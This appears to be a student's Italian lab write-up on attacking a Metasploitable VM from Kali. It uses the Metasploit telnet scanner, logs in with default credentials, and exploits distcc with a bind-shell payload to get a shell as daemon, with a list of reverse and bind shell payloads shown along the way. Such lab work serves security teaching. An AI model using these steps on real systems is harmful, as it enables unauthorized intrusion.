S7/L2

L'esercizio di oggi chiede di completare una sessione di hacking sul servizio "telnet" della macchina Metasploitable.

Come possiamo notare la prima richiesta dell'esercizio è quello di configurare meta con il seguente indirizzo IP:

192.168.1.40/24

Quindi procediamo con questa richiesta, dovremo infatti andare nel file di configurazione delle interfacce di meta al seguente indirizzo (necessita permessi root):

Nano /etc/network /interfaces

Ci ritroveremo in questa schermata

```
Metasploitable2 [In esecuzione] - Oracle VirtualBox

File Macchina Visualizza Inserimento Dispositivi Aiuto

GNU nano 2.0.7 File: /etc/network/interfaces

I This file describes the network interfaces available on your system

I and how to activate them. For more information, see interfaces(5).

I The loopback network interface

auto lo

iface lo inet loopback

I The primary network interface

auto eth0

iface eth0 inet static

address 192.168.50.20

netmask 255.255.255.0

gateway 192.168.50.1

dns-nameservers 8.8.8.8
```

Dobbiamo sostituire l'Address con quello fornito dall'esercizio.

```
valid_lft forever preferred_lft forever
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 15
  link/ether 08:00:27:47:ab:3e brd ff:ff:ff:ff
  inet 192.168.1.40/24 brd 192.168.1.255 scope
  inet6 fe80::a00:27ff:fe47:ab3e/64 scope link
    valid_lft forever preferred_lft forever
admin@metasploitable:~$
```

Dobbiamo cambiare l'indirizzo anche su Kali che sarà il seguente:

192.168.1.25

Su Kali basterà utilizzare il commando che si vede nella foto.

```
File Actions Edit View Help

(kali@kali)=[~]

sudo ifconfig eth0 192.168.1.25

[sudo] password for kali:

(kali@kali)=[~]

ip a

1: lo: <L00PBACK,UP,L0WER_UP> mtu 65536 qdisc noqueue state UNKNown link/loopback 00:00:00:00:00 brd 00:00:00:00:00

inet 127.0.0.1/8 scope host lo

valid_lft forever preferred_lft forever

inet6 ::1/128 scope host noprefixroute

valid_lft forever preferred_lft forever

2: eth0: <BROADCAST,MULTICAST,UP,L0WER_UP> mtu 1500 qdisc fq_code

link/ether 08:00:27:ad:25:87 brd ff:ff:ff:ff:

inet 192.168.1.25/24 brd 192.168.1.255 scope global eth0

valid_lft forever preferred_lft forever

inet6 fe80::a00:27ff:fead:2587/64 scope link proto kernel_ll

valid_lft forever preferred_lft forever

(kali@kali)-[~]
```

Infatti poi verifichiamo con il Ping e funziona.

Per avviare la console scriviamo nel terminale msfconsole.

Ora possiamo iniziare la sessione, il path che andremo ad usare lo abbiamo visto nella lezione di oggi ed è il seguente:

Use auxiliary/scanner/telnet/telnet_version

Lo facciamo partire è facciamo <mark>show options</mark> in modo che ci vengano mostrate tutte le opzioni.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(
                                            ) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
   Name
             Current Setting Required Description
   PASSWORD
                                        The password for the specified username
                                        The target host(s), see https://docs.metasploit.com/doc
   RHOSTS
                              ves
                                        ing-metasploit.html
   RPORT
                              yes
                                        The target port (TCP)
   THREADS
                                       The number of concurrent threads (max one per host)
                              yes
   TIMEOUT
                                        Timeout for the Telnet probe
             30
                              yes
   USERNAME
                                        The username to authenticate as
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/telne
```

Dobbiamo inserire l'indirizzo IP del target per il resto possiamo lasciare tutto in default.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.1.40
rhost ⇒ 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > ■
```

Essendo un auxiliary non necessita di un payload infatti notiamo che non ci viene assegnato nessuno al contrario degli exploit.

Quindi ora possiamo far partire scrivendo exploit

Come possiamo notare il modulo ci dà le credenziali per accedere.

Per verificare le credenziali ricevute scriviamo telnet 192.168.1.40 (IP di meta)

```
m) > telnet 192.168.1.40
msf6 auxiliary(
[*] exec: telnet 192.168.1.40
Trying 192.168.1.40 ...
Connected to 192.168.1.40. Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Jan 21 07:18:51 EST 2025 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin∂metasploitable:~$
```

Come vediamo dalla foto siamo riusciti ad entrare all'interno.

Il distcc è un programma che serve per compilare programmi su vari computer in rete, questo accelera di molto il lavoro dato che sfrutta la potenza di varie CPU (solitamente porta 3632).

Essendo che deve permettere la connessione remota da parte di client, la porta rimane sempre aperta, c'è da dire però che questo software e pensato per essere usato in un luogo sicuro come può una rete interna, in caso infatti si debba uscire fuori devono essere cambiate le impostazioni di default.

Sappiamo che di default usa la porta 3632 proviamo a fare una scansione con nmap per vedere se è così anche nel nostro caso.

```
(kali® kali)-[~]
$ nmap -p 3632 192.168.1.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 202
Nmap scan report for 192.168.1.40
Host is up (0.00040s latency).

PORT STATE SERVICE
3632/tcp open distccd

Nmap done: 1 IP address (1 host up) scanned in 13
```

Ora che sappiamo che è quella ed e aperta possiamo iniziare l'attacco.

Torniamo su msfconsole è facciamo search distcc.

```
        msf6 > search distcc

        Matching Modules

        # Name
        Disclosure Date Rank
        Check I

        0 exploit/unix/misc/distcc_exec
        2002-02-01
        excellent
        Yes
```

Trovato l'exploit andiamo avanti digitando use 0.

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) >
```

Ci viene assegnato un payload di default ma per vedere tutti i payload scriviamo <mark>show payloads</mark>.

```
) > show payloads
msf6/exploit(um
Compatible Payloads
                                                    Disclosure Dat
   #
       Name
       payload/cmd/unix/adduser
   0
       payload/cmd/unix/bind perl
   1
       payload/cmd/unix/bind_perl_ipv6
   2
       payload/cmd/unix/bind_ruby
   3
       payload/cmd/unix/bind_ruby_ipv6
   4
   5
       payload/cmd/unix/generic
   6
       payload/cmd/unix/reverse
       payload/cmd/unix/reverse_bash
       payload/cmd/unix/reverse_bash_telnet_ssl
   8
       payload/cmd/unix/reverse_openssl
   9
   10 payload/cmd/unix/reverse_perl
   11 payload/cmd/unix/reverse_perl_ssl
   12 payload/cmd/unix/reverse_ruby
   13 | payload/cmd/unix/reverse_ruby_ssl
   14 payload/cmd/unix/reverse_ssl_double_telnet
```

Questi sono tutti quelli disponibili, noi per questo esercizio andremo ad utilizzare il numero 1, scriviamo quindi set payload 1.

```
msf6 exploit(unix/misc/distcc_exec) > set payload 1
payload ⇒ cmd/unix/bind_perl
msf6 exploit(unix/misc/distcc_exec) >
```

Una volta fatto anche questo possiamo far partire l'exploit.

```
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started bind TCP handler against 192.168.1.40:4444
[*] Command shell session 1 opened (192.168.1.25:44493 → 192.16

whoami
daemon
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
pwd
/tmp
ls
4531.jsvc_up
```

L'exploit è andato a buon fine e come possiamo notare non entriamo come root ma come demone.